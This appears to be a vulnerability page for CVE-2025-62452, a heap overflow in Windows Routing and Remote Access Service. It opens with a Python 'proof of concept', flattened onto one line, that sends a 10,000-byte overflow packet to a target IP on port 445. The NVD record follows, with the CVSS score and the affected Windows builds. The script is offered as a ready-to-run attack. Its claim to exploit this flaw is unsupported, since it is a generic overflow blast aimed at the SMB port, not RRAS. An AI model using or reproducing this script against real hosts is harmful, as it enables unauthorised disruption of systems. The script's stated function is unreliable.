CVE-2025-62452

import struct import socket # CVE-2025-62452 PoC - Windows RRAS Heap Overflow def create_exploit_packet(): # 构造超长字段触发堆溢出 overflow_data = b'A' * 10000 # 构建畸形数据包 packet = struct.pack('>I', 0x00000001) # 版本 packet += struct.pack('>I', len(overflow_data)) # 长度 packet += overflow_data return packet def exploit_target(target_ip, port=445): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, port)) s.send(create_exploit_packet()) s.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve-2025-62452.py <target_ip>') sys.exit(1) exploit_target(sys.argv[1])

{"cve": {"id": "CVE-2025-62452", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:50.250", "lastModified": "2025-11-14T15:41:32.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "7BB42F69-3A99-4057-8C66-870B6ABFCED2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "19D83039-82E6-420D-95EA-3D3B1BA37ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "16F25469-D606-4A71-9A94-C10E1D08B231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "1A6A1513-48D5-4D4D-97F1-BFDAE4DC9396"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6575", "matchCriteriaId": "EB5C0945-7EA1-4874-98E7-4234D85E0C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6575", "matchCriteriaId": "655C5458-E6FB-408D-BCB4-0D28F8283D55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6199", "matchCriteriaId": "0752A377-F96A-4B2F-B542-A9A9665AB913"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7092", "matchCriteriaId": "4345F25E-DF90-4CB2-B310-F82E08502815"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7092", "matchCriteriaId": "5A547AA3-FC6B-46D9-8D22-995C3CA33140"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "BD73B71D-FB6A-4B0E-80F5-9F6A06FC93A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "970E52EF-A858-4132-9D8C-4B31E169002C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4346", "matchCriteriaId": "5791ADD5-7D67-4659-9DA2-09337A1D82C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1965", "matchCriteriaId": "256174B8-134D-44F5-9497-408AC51DE5DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7092", "matchCriteriaId": "69424DAF-E9EA-4B50-80EC-5BAA97DEB772"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62452", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}